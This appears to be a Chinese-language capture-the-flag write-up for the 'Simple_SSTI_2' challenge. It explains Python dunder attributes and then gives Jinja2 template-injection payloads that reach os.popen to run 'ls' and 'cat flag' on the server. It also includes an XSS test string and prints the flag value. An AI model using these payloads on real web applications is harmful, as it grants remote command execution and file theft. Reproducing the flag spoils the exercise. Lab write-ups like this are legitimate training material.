Simple_SSTI_2
- 前言
- 一、python类的内置属性
- 二、解题步骤
- 1.查看当前目录
- 2. 打开flag文件得到flag
前言
要想做到这个题,先要了解SSTI_2模板注入详解
一、python类的内置属性
先看如下一段代码:
class Restaurant:
"""类"""
def __init__(self, restaurant_name, cuisine_type):
self.restaurant_name = restaurant_name
self.cuisine_type = cuisine_type
def describe_restaurant(self):
print(f"{self.restaurant_name} -> {self.cuisine_type}")
def open_restaurant(self):
print('营业中')
restaurant = Restaurant('7天酒店', 100)
print(restaurant.__init__)
什么是内置属性如上的__init__就是内置属性,可以这么认为,内置属性就是
__英文字母__
这样格式的字符串
- class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
- init 初始化类,返回的类型是function
- globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
- os.popen() 方法用于从一个命令打开一个管道。
- open() 方法用于打开一个文件,并返回文件对象
python内置属性大全
二、解题步骤
1.查看当前目录
?flag = {{ config.__class__.__init__.__globals__['os'].popen('ls ').read() }}
为什么是这样的了?,为什么这样就可以查看当前目录了?,这又是什么东西?,好,你先输入
?flag = <script>alert(1)</script>
,会出现弹窗,但是这不是反射性xss,也可以说是反射型xss,但是flag不存在前端,反射性xss一般是获取前端数据
- {{}}:类似于python的f"{变量}"解释变量
- config.class.init.globals[‘os’]:配置的类的操作系统
- popen(‘’):系统语句
- read():读取语句类容
2. 打开flag文件得到flag
在Linux操作系统下,没有后缀的文件当作文本文件处理
?flag = {{ config.__class__.__init__.__globals__['os'].popen('cat flag ').read() }}
flag:
flag{c77ca5c36d8baa014fa9bd96b8933719}